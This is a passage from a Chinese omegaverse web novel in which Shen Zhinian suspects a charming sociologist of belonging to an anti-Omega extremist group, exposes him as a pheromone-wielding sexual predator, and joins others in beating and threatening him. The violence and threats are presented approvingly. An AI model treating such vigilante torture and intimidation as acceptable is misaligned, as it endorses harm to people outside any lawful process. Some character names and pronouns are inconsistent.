沈之年迅速扫视四周——确实,因为是周末早晨,店内几乎座无虚席。她点点头:“请便。” 男人坐下,点了一杯美式咖啡,然后从背包里拿出一本《群体心理学研究》。 “有意思的书。”沈之年故作随意地搭话。 男人抬头,眼中闪过一丝惊讶,随即微笑:“您也读过?” “略知一二。之前当作闲书读过一些,不太懂得,你是心理学专业的?” “社会学,主要研究当代社会运动。”那个儒雅地男人伸出手,“周然,大学讲师,很荣幸能够遇到您。” “沈之年。”沈之年简短地回答。 周然意外地健谈,很轻易地就能找到话题同沈之年聊天,一来二去地两人就书中的内容聊了起来。 周然:“研究人是很有意思的。尤其是当一些极端行为,看似毫无逻辑,背后却往往有其扭曲的逻辑链条时,会觉得很有意思。” “从他们的视角看,那或许才是世界的真相。比如‘挫折-攻击理论’,它也许能完美解释某些针对特定群体的仇恨犯罪。” “扭曲的逻辑……针对特定群体的仇恨犯罪······”沈之年轻轻重复这两个词,指尖摩挲着杯沿,身体微微前倾,他对这个话题很感兴趣吗,毕竟他正深受困扰,清道夫何尝不是一个针对特定群体地仇恨犯罪呢? “它是一个基础模型,”周然听出了其中的犹豫,显然沈之年没能听的太明白,“个人将自身生活的不顺归咎于某个外部群体,从而产生攻击性。但这理论解释不了其后的‘组织化’——单个的怨愤如何汇聚成有纪律的集体行动?这需要更复杂的‘群体极化’和‘去个性化’过程。” 周然看出沈之年脸上的迷茫,选择了用更容易理解的话继续解释:“个体在群体中,尤其是在匿名状态下,道德约束会降低,更容易做出极端行为。而群体内的反复交流,会让偏激的观点不断被强化,直到成为唯一的‘真理’。就像……”他顿了顿,找到一个例子,“就像网络上的某些回声室效应论坛。” 他这个“论坛”的比喻,让沈之年心中的警铃微微作响。他不动声色地接话:“所以,关键在于那个能将这些散兵游勇凝聚起来的‘核心叙事’是什么?是什么故事,能让他们坚信自己的暴力是正义的?” 周然笑了,那是一种带着些许剖析意味的笑:“一个强有力的叙事往往源于被篡改的历史和被曲解的生物本能。比如,他们会构建一个‘黄金时代’的神话,宣称在某个时代,社会秩序是‘正确’的,而现在的混乱,是因为某个群体‘逾越’了本分。再将一些简单的进化心理学概念极端化,宣称自己的行为是‘维护自然秩序’。” 周然言谈得体,观点独到,但不过分卖弄,沈之年听了一小会就觉得受益匪浅。 但是这个话题对于沈之年来说还是太复杂,再说了一下,沈之年脸上就露出了十分疑惑地神情。 看出沈之年的迷茫就不动声色的转移了话题。 “抱歉,最近正在和学生们讲这方面的内容,不知不觉就说多了,希望你不会觉得厌烦。”周然恰到好处地露出一点生涩地尴尬,真像是一个醉心于学术,不擅长交际的学者。 “怎么会呢!”这些都正是沈之年最感兴趣的内容,沈之年恨不得再多听一些。 但是周然已经把话题引导了其他的方向。 他提到自己刚搬到这个社区,所以来熟悉环境。 “这附近有什么值得推荐的餐馆吗?”他自然地问道。 沈之年推荐了几家,周然认真记在手机里。 借着这个话题,两个人又交流了几句,周然说话的时候不急不徐,很轻易的就能获得人的好感。 ‘ 沈之年甚至觉得自己刚才因为焦虑难以平复的心绪此刻也安稳了许多。 两个人就这么有一搭没一搭的闲聊,时间竟然就怎么消磨了下去。 “很高兴认识你,沈先生。”分别时,周然递给她一张名片,“如果周末无聊,可以一起喝咖啡。我刚来这里,没什么朋友。” 他收回手的时候沈之年看到周然的无名指上有戴过戒指的痕迹,右手虎口处有一道浅浅的疤痕,形状奇特。 沈之年接过名片,看着上面印着的大学名称和他的联系方式,微笑着点头:“有机会再聊。” 沈之年摩梭那张名片。 第76章 再次坐在诊室里, 沈之年指尖无意识地掐着掌心。 他已经很久没有过来了,甚至如果不是上次薛明亦的提醒,沈之年甚至快把自己的病忘记了。 “最近还是睡不好吗?”薛明亦没头没尾的问了一个问题。 这个其实是他们刚刚接触时候的问题了, 中间已经很久没再问过了。 沈之年勉强笑了笑,没好意思直接回答薛明亦的问题,每天和顾景深在一起,泡在完美契合的信息素里面, 他怎么可能睡得不好。 可能因为事情紧急,被迫睡得不久, 但是睡眠质量真的很好, 这么连日的劳累, 小脸还是匀白…… 这些都没必要和薛明亦讲,最后都变成了一句,“最近还不错。” 薛明亦若有所思地看着她,然后轻轻推过一份问卷:“今天我们先不做这个。聊聊别的吧,你上周过得怎么样?有什么特别的事吗?” 沈之年垂下眼睛,他最近身边发生的事情······ 也不算少, 这么一想,竟然全都是不能说的。 “没什么特别的。”他最终回答。 薛明亦沉默片刻,“没关系,如果你不想聊聊的话, 就先去做个检查吧。” 沈之年的检查结果出来的很快, 薛明亦看着他那张纸质的材料,眉头皱成一团。 “怎么了,是结果很差劲么?”沈之年看着薛明亦的脸色,小心的问。 其实之前薛明亦提醒过他。要远离顾景深,大量接触顾景深的信息素, 会拔高沈之年情绪感知的阈值,后面再有小的情绪变化,也许他就感受不到了。 但是现在他根本就离不开顾景深。离开顾景深他就没办法那么高效的工作。 “数据显示,你的心率变异性显著改善,信息素水平平稳,甚至你的脑电波模式都出现了变化。”薛明亦的声音平静,但眼中有一丝沈之年看不懂的情绪,“这在我们的治疗中是从未出现过的。都是很好的转变,你身边真的没发生什么么?” 诊室里安静得能听到墙上时钟的滴答声。沈之年看着自己的手指,还没好意思开口,薛明亦就先替他做出了回答:“你再次和顾景深接触了。” 沈之年默认了,最近他身边发生的事情不少,但是其实他也认为最后起到作用的是顾景深。 没有听到沈之年的否认,薛明亦的表情凝固了,他久久地看着沈之年,然后慢慢靠回椅背。他摘下眼镜,揉了揉鼻梁,这个动作让他看起来异常疲惫。 “我明白了。”他低声说,声音里有一种沈之年从未听过的沙哑。 沉默在两人之间蔓延。沈之年想说些什么,却不知从何说起。 “年年,”薛明亦重新戴上眼镜,目光却不再直视他,“我想我可能需要调整你的治疗计划。” “调整?” “我认为,你可以尝试多与顾景深接触。”薛明亦的声音平静得不像在谈论自己的感情,“数据显示,你与他相处后的生理状态有明显改善。这种变化太显著了,不能忽视。” “信息素就是这么神奇的东西。”薛明亦终于看向她,嘴角牵起一个苦涩的弧度,“它不讲道理,不分对错,就是存在。就像某种物理定律,你无法抗拒,只能服从。” “也许你们就是天生一对。” 他的话语在空气中轻轻震颤。 “你是说,因为我爱他,所以他就能治愈我?”他茫然地问。 薛明亦轻轻摇头:“我不知道。我们目前对于信息素的了解还是不完全的。就像候鸟迁徙,鲑鱼回溯,一种写在基因里的导航系统,指引我们找到那个能让我们完整的人。” 他停顿了一下,声音更轻了:“即使那个人不是最适合你的,即使他曾经伤害过你,即使有更好的人选在身边。你的身体做出了选择,年年。” 沈之年看着他,突然意识到这些话不仅仅是专业判断。薛明亦眼中的伤痛不再掩饰,像潮水一样漫过专业的堤坝。 “薛医生,我” “没关系。”他打断沈之年,勉强笑了笑,“作为你的医生,我的责任是帮助你康复,无论通过什么方式。如果顾景深能带给你我无法提供的疗愈,那么我应该承认这一点。” 咨询结束后,沈之年站起身,又突然被薛明亦叫住。 “也许你真的爱他,你跟我在一起的时候从来没有这样过。”薛明亦定定地看着沈之年的眼睛,执着的想要一个回答。 “我是不是真的没有机会了。” 沈之年没办法回答,他也不知道,他心里很乱。 之前那个临时的标记早就淡的看不出。 顾景深又不在身边,他分不清, 他分不清现在到底是什么情绪—— 沈之年出门之后没有坐车,乱七八糟的想法在他脑海中盘旋,他就这么失魂落魄的走在路上,直到一个温和的声音打断他的思绪。 “小沈先生?” 沈之年抬头,看见一位身着深蓝色衬衫的Alpha站在不远处。他愣了几秒,才反应过来,那边的人是周然。 沈之年特意抬起头环顾了一圈,这里离他的住所还很远。 “周教授?您好。”他有些意外。 周然好像一眼就看出他的意外,“我的学校在这附近。”说完之后指着不远处的大学,是一所不好不坏地普通大学。 周然微笑:“没想到在这里遇到你。一切都好吗?你看起来有些困惑。” 这个直白却温和的观察,让沈之年有一瞬间的动摇。他不知为何,脱口而出:“我刚才正在思考一个问题——爱情到底是什么?” 话一出口他就后悔了,这太冒失了,对一个只有一面之缘的学者提出这种私人化的问题。 然而周然并没有表现出惊讶,只是若有所思地点点头:“这是个古老的问题。你的问题每一次都很有意思,你是Omega么?真可惜,如果你是Alpha,甚至是Beta,应该会成为有名的学者。” “你很有思考地天赋。” 十分钟后,他们坐在一家安静的茶馆里,清雅的茶香在空气中弥漫。 “在社会科学中,我们通常避免使用‘爱情’这种宏大概念,而是将其分解为可测量的变量:吸引力、依恋、承诺、亲密行为。”周然慢慢搅动杯中的茶叶,“但我们都知道,这些指标加总起来,依然不等于爱情本身。” 沈之年若有所思:“那在您看来,爱情是什么呢?” 周然沉吟片刻:“我曾经做过一个研究,追踪了三百对夫妻二十年的关系变化。有趣的是,那些最持久的婚姻并不总是基于激情或相似性。” “是信息素匹配度最高的夫妻,很不可思议吧,我们宣传人类的思想解放这么久,但是最终大家还是会遵循身体的选择。” “身体的选择?”林溪重复这个陌生的词组。 “就像鱼和水,鸟和天空。”周然比划着,“一种你存在于其中却不自知的环境。当它存在时,你视它为理所当然;当它消失时,你才意识到自己无法呼吸。” “信息素是正确的。”周然笃定地说。 “所以爱情就是找到一个和你信息素匹配度最高的人?”沈之年问。 陆教授摇头:“不完全是。爱情能否用共同生活的时间来定义也值得商榷,但是至少我们清楚爱情不是单方面的适应,而是双向的构建。就像一片森林中的两棵树,它们共享阳光、水分,根系在地下交织,形成一种看不见却真实存在的连接。” 他放下茶杯,继续说:“爱情有时像一种精致的暴力,它撕裂我们习惯的外壳,逼迫我们成长。而有时,它又像最温柔的庇护,抚平我们所有的棱角与不安。很难说哪一种更接近爱情的本质。” 周然微微前倾:“你知道吗?在现代社会,我们太习惯于给一切贴标签。这是爱情,那不是;这人适合我,那人不适合。但人类的情感远比这些分类复杂。从这个角度来看,也许用信息素判断就会简单得多。” 这是周然第二次提起信息素了。 沈之年陷入了沉思。 看到沈之年不再说话,周然很有礼貌的起身告辞,给沈之年留下思考的空间。 “那我就先回学校了。”—— 沈之年迟迟未归,顾景深亲自在下班之后出来接他, 恰好看到两个人告别。 “你现在很危险,以后不要乱跑了,万一遇到坏人怎么办。”顾景深一边为沈之年系上安全带一边叮嘱,“薛明亦也是,叫你出门竟然也不知道把你送回家,这么不称职,你喜欢他什么?” “他也不知道比我好在哪里,你还喜欢他······” 顾景深说后半句的时候总觉得底气不足,毕竟他也知道,其实他当年还不如薛明亦。 “嗯,我知道了······” 顾景深还想要再多说两句,但是看到沈之年柔软的眼睛就哑了火,“下次别这样了了。” “那人是谁?” 虽然顾景深没有指名道姓,但是沈之年明白他的意思。 “最近认识的,很巧,每次他都在我需要的时候恰到好处的出现。” 第77章 窗外的雨丝轻柔地敲打着旧书店的玻璃窗, 将室内暖黄的灯光氤氲成一片朦胧的光晕。 沈之年捧着一杯热气腾腾的拿铁,指尖感受着瓷杯传来的温度,目光却专注地落在对面的Alpha身上。 周然合上那本做了密密麻麻笔记的《街角社会》, 推了推鼻梁上的金丝边眼镜。 “所以,小沈先生,你不觉得吗?”他的声音温和而富有磁性,“当代Omega看似拥有了前所未有的选择权, 但很多困境,根源并非个人能力, 而是深植于社会结构中的隐性偏见和系统性障碍。就像一张无形的网, 看似不存在, 却处处牵绊。” 沈之年轻轻搅动着咖啡,若有所思地点点头:“我明白你的意思。其实我接触过大量案例,家暴、职场歧视、生育压力……很多时候,个体即便再努力,也难以挣脱整个环境施加的枷锁。我们能做的,往往是在问题发生后, 尽力去弥补和救助,像是不断在修补一艘漏水的船。” “这正是我研究兴趣的起点!”周然身体微微前倾,流露出学者的热忱,“修补固然重要, 但更重要的是如何加固船体, 甚至改变航行的规则。我研究国内外基层妇女组织运作模式五年,发现真正能带来持续性、结构性改变的,往往源于组织内部产生的驱动力,源于决策者视野的开阔和策略的升级。这也是为什么——”他顿了顿,目光变得格外恳切, “我特别希望能有机会,请你引荐我认识Omega协会的沈会长。我非常渴望能与他这样有丰富实践经验的前辈深入交流。” 听到这个请求,沈之年脸上的笑容微微凝滞。 周然学识渊博,沈之年最近几天寻找到过于疲惫的时候,总会出来和周然聊聊天,他每次都能说到沈之年的心里。 但是对于这个请求······ 周然见状露出了愧疚的笑意,“真是抱歉,其实我一次见面就认出您了,小沈先生,我承认我接近您是有目的的,但是我真的很仰慕您的父亲。” 沈奉月不是一个远离人民的政客,正常来说沈之年愿意引荐的。 但是偏偏是在这个节骨眼上。 沈之年放下咖啡杯,声音依旧柔和,尽量不让自己的拒绝太伤人:“抱歉,周教授。我很理解你的学术热情,不过,父亲日常行程非常繁忙,而且······Omega协会有明确规定,外部学者或媒体想要进行正式访谈或调研,都需要经过严格的内部审批流程,不是我个人能决定的。” 周然眼中那簇期待的光芒明显黯淡了一下,但他很快调整好情绪,展现出良好的风度,嘴角扯出一个理解的微笑:“没关系,小沈先生,我明白你的立场。我们……继续我们自己的讨论就好。”—— 时间悄然流逝,一周后的深夜。 为了调查“清道夫”的消息,沈之年不得不到Omega协会去调取一些保密的资料。 本来预计早去早回,但是协会里面的资料太多太杂,沈之年又是又偷偷过来,不敢惊动父亲和哥哥,就这么找到了半夜。 沈之年揉着发酸的脖颈,最后一个走出办公室。 这个组织,越调查越意识到其中的水很深,哪怕是在顾景深的帮助下,也很难找到踪迹。 沈之年甩甩头,试图驱散这些不愉快的念头,快步走向单位后巷的停车场。这条小巷是通往停车场最近的路径,白天人来人往尚可,到了夜晚,只有一盏昏黄老旧的路灯忽明忽灭,光线勉强勾勒出湿漉漉的地面和堆积的垃圾桶轮廓,总是让他心里发毛。 鞋底敲击地面的声音在寂静的巷子里显得格外清晰。刚掏出车钥匙,解锁了不远处的白色轿车,一个高大的黑影突然从旁边的杂物堆后晃了出来,精准地堵在了他的必经之路上。 对方戴着黑色鸭舌帽,帽檐压得很低,看不清面容,只能感觉到一股不善的气息。 “是小沈先生吧?”男人的声音沙哑,带着一种刻意伪装的低沉。 沈之年心头猛地一紧,下意识地后退半步,“你是谁?想干什么?” 但是也不过半步,他就感觉一个什么定西抵住了他的后腰。 “别出声,听我的话。”那人逼近一步,手中有什么东西在昏暗光线下闪过一道冷冽的金属反光,像是一把小刀或者指虎, 沈之年的心跳骤然加速,血液似乎瞬间涌向头顶又迅速褪去。 “钥匙给我,你上那辆车。”男人嗤笑一声,又逼近一步,几乎能闻到他身上传来的烟味,他示意沈之年看向一边停着的一辆没有牌照的黑车。 沈之年的大脑急速的转动,不能上车,上车就不知道会被带到哪里去了。 看着对方手中那点寒芒和不断逼近的身影,沈之年的呼吸几乎停滞。她背脊紧紧抵住冰冷潮湿的墙壁,退无可退。 “——我已经报警了!警察马上就到!” 一个无比熟悉、此刻听来却如同天籁的声音,突然从巷口炸响! 沈之年猛地抬头——是是周然。 周然正大步流星地冲了进来! 周然没有任何犹豫,几步便冲到沈之年身前,用自己并不算特别魁梧,但此刻显得无比高大的身躯,严严实实地将他护在了身后,直面那个凶徒。 “你的样子,我全都录下来了!位置也同步发给了星警。不想被抓进去,就立刻滚!”周然的声音出奇地冷静,带着一种不容置疑的权威和压迫感,与他平时温文尔雅的形象判若两人。 那歹徒显然没料到会半路杀出个程咬金,而且如此镇定果断。他僵持了几秒钟,似乎在权衡利弊,最终恶狠狠地咒骂了一句含糊的脏话,收起手中的凶器,转身迅速消失在巷子另一端的黑暗中。 直到那令人窒息的脚步声彻底远去,周然才猛地松了口气,紧绷的肩膀微微塌下。他立刻转过身,借着手机的光亮,急切地、仔细地上下打量着沈之年,声音瞬间从刚才的冷硬切换为毫不掩饰的担忧和轻柔:“小沈先生!你没事吧?有没有受伤?他碰到你了吗?” 沈之年嘴唇翕动了几下,才发出微弱的声音:“没……没有……周教授?你、你怎么会在这里?” “我刚好在街角那家24小时咖啡馆赶一篇论文稿子,”周然快速解释道,毫不犹豫地脱下自己那件薄薄的米色风衣,动作轻柔地披在沈之年的肩上,“正准备回家,看到你一个人走进这条黑巷,本来想快走几步跟你打个招呼,结果就看到有个鬼鬼祟祟的影子跟在你后面……我感觉不对劲,就赶紧跟过来了。”—— 在警局,配合星警提供了所能回忆起的一切嫌疑人特征和事件经过,时间已接近深夜十一点。 在格林严肃地表示会高度重视并加紧调查,并叮嘱他近期注意安全后,两人才得以离开。 坐在周然那辆整洁舒适的SUV副驾驶座上,车内舒缓的轻音乐和空调的暖风。 “今晚……真的多亏你了。”沈之年侧过头,看着周然专注开车的侧脸,“如果不是你刚好出现,我简直不敢想象……” “也是巧合。”周然目视前方,语气平静。 良久,他才重新开口,“抱歉,可能我现在说这个有一些趁人之危,但是我还是想要提出我的请求,可以为我引荐沈会长么?” “我父亲接触的很多案子,尤其涉及到地方势力和经济利益时,非常敏感,甚至带有潜在的危险性。任何一个外来人员的接触,都可能带来意想不到的风险。”沈之年罕见的坦诚。 周然沉默地听着,在下一个红灯前缓缓停下车子。他转过头,目光清澈而坦诚地看向沈之年,眼睛里多了几分深沉的温和: “之年,我完全理解你的顾虑,也尊重并且敬佩你和你的父亲。”他顿了顿,似乎在斟酌词语,“其实,我想见沈会长,并不仅仅是出于学术好奇,或者为了收集论文数据那么简单。” 沈之年微微一怔,这个开场白出乎她的意料。 “我的母亲,”周然的声音低沉了几分,带上了一丝不易察觉的情感波动,“我的家庭条件很普通,我父亲早逝,家里就靠我母亲一个人支撑,那段时间Omega的工作还是不被承认的,她只能打黑工,那时候家里几乎走到了绝路。” “她把我养大,供我读书很不容易,但是也是因为她一直从事没有保障的工作,她在我工作可以奉养她的第二年,就离开了。” 车内很安静,只有雨刷器规律摆动的声音。 “后来,沈会长上位之后,为Omega争取到了正当的工作,不知道多少家庭避免了我这样的悲剧,”周然的眼中流露出深深的感激和敬意,“我一直在想,如果我小时候有一个沈会长这样的人,会不会我的人生都会有所不同……” 沈之年完全愣住了。 “我想见她,”周然继续说道,目光恳切,“我是发自内心的钦佩他做出的一切努力和贡献。,” 第78章 沈之年沉沉的看着周然, 没有说话,只是看着他的眼睛,像是在审视他言语中的真假。 周然的眼神也是异常的坚定, 直视沈之年的眼睛, 最后沈之年还是轻柔而缓慢的点了头,“我可以把你推荐给父亲,但是我不敢保证父亲是否会见你。” 周然闻言, 脸上露出了极大的惊喜,“谢谢你, 小沈先生, 我一定会珍惜这次机会的!” 沈之年移开视线, “只有一次,父亲很忙,就算是有我的介绍,他可能也只能见你一次。” 周然闻言赶紧表忠心,“没关系,沈会长日理万机我都知道的, 我能理解,只见一次也够。”—— 沈之年站在社会学系的办公楼前,午后的阳光给灰扑扑的砖墙涂上了一层暖金色。 他根据路牌和其他人的指引走上三楼,走廊尽头的那个房间, 门楣上挂着“周然教授”名牌 沈之年轻轻敲了敲, 里面没有回应。又加重力道敲了几下,回应他的还是只有一片寂静。 不在?沈之年有些失落,点开光脑,再次确认了之前发出的短信石沉大海。 或许在忙,没看见吧。 沈之年倚着墙壁, 陷入了思考,究竟要不要等一等。走廊里偶尔有学生抱着书匆匆走过,带起一阵轻微的风。 脚步声自身后响起,不疾不徐。沈之年下意识回头,看到一个戴着黑框眼镜的男生停在教授办公室隔壁的门前,正掏出钥匙。 男生也注意到了她,目光在她和教授紧闭的房门之间逡巡了一个来回,迟疑地开口:“你……找周教授?” “对,”沈之年直起身,露出一个礼貌的笑容,“我今天有事想和他谈谈,所以冒昧前来打扰,不过我好像来的不巧,他好像不在。” 男生推了推眼镜,眼神有些闪烁,避开了她的直视。“周教授……他下午出去了。可能,一时半会儿回不来。” “这样啊……”沈之年叹了口气,“那我改天再约时间吧。谢谢你了。” “你是周教授的学生?你知道他去哪里了么?” 那个男生,看着沈之年的脸,不由得羞红了脸颊,“我···我叫陈序······” 然后才意识到自己答非所问,把头埋得更低,“我是周教授的学生,他···我也不知道······” 既然周然不在,沈之年也没有留下来的必要,转身欲走……他能感觉到身后那道目光还黏着,带着一种难以言喻的踌躇。 就在他快要走到楼梯口时,那个男生像是终于下定了决心,急促地追了上来。 “请等一下!” 沈之年停步转身,疑惑地看着他。男生的脸涨得有些红,嘴唇翕动了几下,才艰难地挤出声音:“你……你是不是很敬佩周教授?” 沈之年愣了一下,坦然点头:“是啊,周教授学识渊博,我们见面聊过几次,他在性别平等问题上很有见地,我很尊重他。” 男生听到这话,脸上掠过一丝几乎是痛苦的神情。他深吸一口气,声音压得极低,一字一句砸在沈之年心上:“别……别太相信他。他……他不是你想的那种人。” “什么?”沈之年以为自己听错了。 “你下次不要再来了,他···真的不是什么好人。”陈序说完这句话,就转身要走, 沈之年赶紧上前几步,拉住那个男生。 他的视线扫过男生的后颈,没有腺体,好像是个Beta。 “为什么让我不要再来了?” 陈序挣扎了几下,最后没办法还是放弃了, “周然,”男生抬起眼,这一次,他的目光里没有了犹豫,只剩下一种破釜沉舟的狠劲儿,甚至带着点不忍,“他是个非常不尊重Omega的人渣。” 空气仿佛凝固了。 沈之年脸上的笑容僵住,大脑有瞬间的空白。“你……你在说什么?这不可能……” “我知道这很难接受,”男生的语速快了起来,像是怕自己再次退缩,“他表面对Omega议题高谈阔论,背地里……他办公室的电脑,有隐藏文件夹,里面全是偷拍的Omega,角度……很不堪。还有,Beta也不能幸免,他指导女学生的论文,经常以单独讨论为名,把她们留在办公室很久,言语间的暗示……让人很不舒服。之前有个师姐,论文写得很好,就是因为拒绝了他的‘额外辅导’,最终答辩被卡了很久。” “他,他是个彻头彻尾的Alpha主义者,虽然他经常谈论Omega议题,但是那都是他吸引Omega的手段,我之前偶然听到过他和Alpha学生开会,他······” “他会把那些Omega以聊天的名义骗去房间,然后用信息素让他们无法反抗,因为Omega们是自愿进入房间,往往控诉无门,而且社会对失贞的Omega并不友好,那些Omega最后也只能吃下哑巴亏······” “你这么漂亮的Omega,一定是被他欺骗了,” 沈之年感觉一股寒意从脚底升起,瞬间窜遍了四肢百骸。 “他今天出去,其实我偷听到了,”男生看着沈之年血色渐褪的脸,最终抛出了那个最关键的信息,“他去找Omega协会的沈奉月会长了。” 沈之年的头脑轰的一声,他只是简单的把这件事说了,没想到两个人竟然今天就约了见面? “他去Omega协会……做什么?”他的声音干涩。 陈序支支吾吾半天,最后在沈之年恳切的目光下还是说出了口,“我······他······ “他说···说·····只要标记了······” “Omega有再大的本事,还不是得听Alpha的······” 沈之年真没想到对方竟然打着这么龌龊的主意,确实在永久标记之后Omega会不自觉地对Alpha表现一些服从的特质,这也是沈奉月至今单身的原因之一。 着急之下沈之年捉紧陈序的手腕,“他们在哪里约见面,周然是什么时候出的门?你告诉我!” 陈序像后面唯唯诺诺的缩了缩,最后才富足勇气开口,“我,我今天把这些都告诉你,他一定会报复我,你···你如果要告他,我会帮你出庭作证的。” 陈序说着,好像是多了几分勇气,“不对,你一定要叫我······” 沈之年自然是满口答应。‘ ’ 但是陈序海水递出光脑,示意沈之年要联系方式,沈之年没办法加上了陈序。 确认两个人已经是好友关系,陈序才缓缓的开口,告诉沈之年周然去的地点和时间—— 到了约定的地点,周然轻轻推开包厢的门,一股幽香便迎面扑来。 昏黄的灯光下,一个身影正背对着他,凭窗而立,仅仅是背影就让他心头一热,一股邪念毫无征兆地窜起。 他反手锁上门,像是之前无数次一样,熟练地开始释放微量的信息素。 一缕若有若无的矢车菊味道缓缓的飘散在空气中,无端的有点甜腻。 “久等了,”他开口,声音是刻意练习过的温文尔雅,与眼底翻涌的欲念截然相反,“沈会长,真的没想到我还能拜访您,我真的非常敬仰您。” “这次能够和您见面的机会我很珍惜。” 他当然珍惜,Omega能够做成什么事业,只要他成了沈奉月的Alpha,就能快速接受他的政治资产,一步踏进政治中心。 他在大学兢兢业业干了这么多年,到处都是眼高于顶,看不起人的二代,他满腹才华都无处使用,现在机会终于送到了他眼前。 Omega能做什么? 这就是上天给他的机会。 他脸上挂着自以为得体的微笑,一步步朝那抹倩影走去,想象着猎物即将软倒在他怀中的情景。 就在他伸手即将触碰到对方肩膀的刹那,那身影猛地转过身! “啪!” 一记清脆响亮的耳光,狠狠地扇在他的脸上,力道之大,让他整个人都懵了,耳边嗡嗡作响。 还不等反应,腹部又挨了一脚,他到底是个文人,哪怕是一个Alpha,但是终究也疏于锻炼,被这一脚窝的直接向后飞了出去······ 第79章 周然捂着脸, 挣扎了两次也没能站起身。最后放弃了起来,颓唐地趴在那里,刚才那一脚用了十成十的力气, 周然痛的直吸气,不知道怎么就糟了无妄之灾。 那“美人”也转过头,眉眼精致,头发像是黑色的绸缎, 眼睛像是上好的祖母绿。 确实是一个美人,但是不是沈奉月, 沈奉月是有名的政客, 生的又美, 照片早就铺天盖地的在社交媒体泛滥,周然不知道看过多少次。 周然难以置信地看着眼前的人,“你···你是谁?” 伊桑长得快,现在还是精致美丽,但是是个人都能看出来 这哪里是什么Omega?眼前站着的,分明是一个面容冷峻、眼神锐利的Alpha! 这Alpha身形高挑, 虽穿着女装,却丝毫掩盖不住眉宇间的杀气。 包厢两侧的屏风后和厚重的窗帘阴影里,如同鬼魅般瞬间闪出四五条黑影,动作迅捷如豹, 带着训练有素的气势。他甚至没来得及做出任何反应, 就被两人一左一右狠狠地拧住胳膊,膝盖窝同时遭到重击,“噗通”一声,他被死死地摁倒在地,脸颊紧贴着冰冷的地板。 一个身影缓缓走到他面前, 蹲下身。 “周然?”一个声音响起。 他艰难地转动眼球向上看,这才发现,不知何时,眼前又站了一个人。 一个经常出现在报纸头条的人,真正的顶级Alpha,对于顶级Alpha天然的恐惧让周然的视线不自觉的颤动。 “你认识我?”顾景深颇具玩味的看着他,他早就看周然不顺眼了,糟老头子一个,每次见面离年年那么近不知道要做些什么,要不是还要演好人,没准早就开始动手动脚了,龌龊!下流! 而且年年为了见他,每次都要和他出门,都没时间陪自己了。 他好不容易得到了陪在沈之年身边的机会! 想到这里,顾景深狠狠的瞪了周然一眼。 周然心头一颤,强作镇定,“你们是什么人?想干什么?这是犯法的!” “哥夫,谢谢你过来帮忙,我自己一个人肯定搞不定的。”恰好这个时候旁边有人说话,打断了周然的控诉,周然艰难的看过去,正是刚才扇他耳光的那个“美人”,他此刻正用一块手帕慢条斯理地擦着手,仿佛碰了什么脏东西。 “哥夫”两个字给顾景深看叫的心里美的冒泡。 见到弟弟先嫌弃的神情,顿时保护欲上来,上去就给了周然两个耳光。 周然被打的嘴角冒出血丝,眼看不能在喊叫,顾景深这才缓缓开口,“你在和谁说话?” 周然终于老实了,弱声弱气的认错,“我知道错了,求求你们放过我,我错了······” 顾景深和伊桑就不再理会周然, “等年年回来吧。”这是沈之年的计划,顾景深不打算抢夺功劳,只是不知道沈之年在那边,证据找的怎么样了—— 沈之年回来的很快,他进不去周然的办公室,也没能找到什么实质性的证据,但是好歹有了陈序这个证人。 见到沈之年,周然好像找到了情绪的宣泄口,在两个优性Alpha审视下积累的压力终于找到了宣泄口, “沈之年,你这是什么意思?啊,什么意思!” “为什么把我抓起来,我告诉你,你这样是犯法的!” “现在把我放了,我不追究,要不然你等着。” “你一个Omega,竟然敢这么对我!!” 沈之年没有理会他的叫嚣。他踱步上前,居高临下,“清道夫?你是哪个小组的成员?负责什么,接近我爸爸还有什么目的?” 周然瞳孔微缩,他毕竟是从事这方面的工作,所以“清道夫”这个名字他隐约听过,是近来让警方颇为头疼的一个极端仇视Omega、并策划过多起针对Omega恶性事件的地下组织的内部代号。 他承认自己心中颇为支持这个组织的主张,世界就应该由Alpha主宰,但是真不知道是怎么回事啊! 他确实不知道什么清道夫。 但他立刻矢口否认:“什么?我不知道你在说什么!我就是……就是想要拜访一下沈会长,窈窕Omega,Alpha好求,急躁了点,我认栽!你们是警察吗?我顶多算个未遂……” 沈之年微微蹙眉,他追查这个“清道夫”已经那么久,这个组织成员行事隐秘,手段残忍,反侦察能力极强。 在周然出现的时候,他就心中就一阵警觉。 因为周然出现的实在是太巧合了。 他一直抓不到清道夫的行踪,正在不追所措的时候他突然就意识到,为什么要一直他来找呢,“清道夫”应该也在寻找他吧。 议会越来越近,清道夫应该也很焦急吧 为什么不引蛇出洞呢? 所以他开始计划出门乱晃,就在这时候,周然出现了。 周然,无论是出现的时间、地点,还是他刻意表露出来的对Omega的友善,都让他高度怀疑他就是组织的成员。 他根本就没通知沈奉月,而是叫上伊桑共同布下这个局。 “急躁了点?”沈之年冷笑一声,“你知道么,警官办案才需要证据。” 沈之年指指身后的顾景深,“你出身寒门吧,今天你就算是命丧于此,应该也没有好心人替你伸冤。” “何必呢,清道夫给了你什么,值得你拿命去换,你不是屈服于我,是屈服于一个优等的Alpha。”沈之年尝试用他能接受的语言交流。 他看起来占尽先机,实则内心十分焦躁,追查了这么久,才终于找到了一点苗头,他必须抓住机会。 周然看着顾景深,眼神里只有茫然和恐惧,他拼命摇头:“不!我不认识!我根本不认识什么清道夫!我真的就是一时鬼迷心窍,我就是想把沈会长标记之后接手Omega协会……我就是想占点便宜,我错了,我再也不敢了!什么组织,我完全不知道啊!” 他的辩解带着哭腔,听起来不似作伪。沈之年紧紧盯着他的眼睛,试图从中找到一丝伪装的痕迹。但除了猥琐被戳穿后的惊慌、对当前处境的恐惧,以及一丝因为计划失败而产生的懊恼,他并没有看到那种属于狂热组织成员的偏执与冷酷。 旁边的顾景深低声对沈之年说:“他的反应……不太像。这可能真的是一个巧合······” 沈之年沉默着。伊桑已经上前一步将周然’拎起来,按在椅子上,不由分说就先在他双腿之间狠狠的踩了下去。 哀嚎声瞬间就传满了房间。 沈之年也觉得周然不像是演的,难道这真的是一次巧合么······ 沈之年拉过另一把椅子,坐在他对面,开始了详细的盘问。她问了关于组织已知的暗号、活动规律、成员特征,甚至抛出几个被捕的低级成员的名字进行试探。 然而,周然’的回答颠三倒四,漏洞百出,但对组织核心的信息却表现出全然的无知。他反复强调自己只是精虫上脑,见色起意,甚至为了证明“清白”,主动交代了自己过去几次类似的、但未成功的猥琐行为,都与那个组织毫无关联。他的恐惧是真实的,他的无知也是真实的。 审讯持续了将近一个小时。 包厢里的甜腻的矢车菊味道早已散尽,只剩下压抑的空气和周然’身上散发出的、因极度恐惧而产生的汗臭味。 他真的不是,沈之年不得不得出这个结论······ 